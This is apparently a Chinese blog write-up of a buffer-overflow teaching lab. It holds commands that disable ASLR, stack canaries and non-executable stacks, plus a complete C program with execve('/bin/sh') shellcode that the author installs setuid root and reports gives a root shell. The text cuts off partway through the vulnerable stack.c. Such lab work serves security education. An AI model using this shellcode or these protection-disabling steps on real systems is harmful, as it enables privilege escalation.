Buffer Overflow Vulnerability Lab 网安实验

本文详细介绍了如何利用BufferOverflow Vulnerability进行攻击,包括关闭地址随机化、地址保护和可执行栈。展示了如何编写shellcode执行/bin/sh,以及如何通过栈溢出漏洞(stack.c)植入恶意代码。同时,讨论了如何针对/bin/dash的防护措施进行攻击,并在开启地址随机化后尝试攻击。此外,还提到了栈保护和非执行栈的启用作为防御手段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Buffer Overflow Vulnerability Lab

2.1 Turning Off Countermeasures

关闭地址随机化

$ sudo sysctl -w kernel.randomize_va_space=0

关闭地址保护(编译时使用)

$ gcc -fno-stack-protector example.c

可执行栈(executable stacks)

For executable stack:

$ gcc -z execstack -o test test.c

For non-executable stack:

$ gcc -z noexecstack -o test test.c

Configuring /bin/sh (Ubuntu 16.04 VM only).

$ sudo ln -sf /bin/zsh /bin/sh

2.2 Task 1: Running Shellcode

//call_shellcode.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] = 
 "\x31\xc0"
 "\x50"
 "\x68""//sh"
 "\x68""/bin"
 "\x89\xe3"
 "\x50"
 "\x53"
 "\x89\xe1"
 "\x99"
 "\xb0\x0b"
 "\xcd\x80"
;

int main(int argc, char **argv)
{
   
	char buf[sizeof(code)];
	strcpy(buf, code);
	((void(*)( ))buf)( );
}

编译、加权

$ gcc -z execstack -o call_shellcode call_shellcode.c
$ sudo chown root call_shellcode
$ sudo chmod 4755 call_shellcode

执行成果:获得root权限
结论:call_shellcode可执行/bin/sh

在这里插入图片描述


2.3 The Vulnerable Program

//stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
   
	char buffer
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

winnower-sliff

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值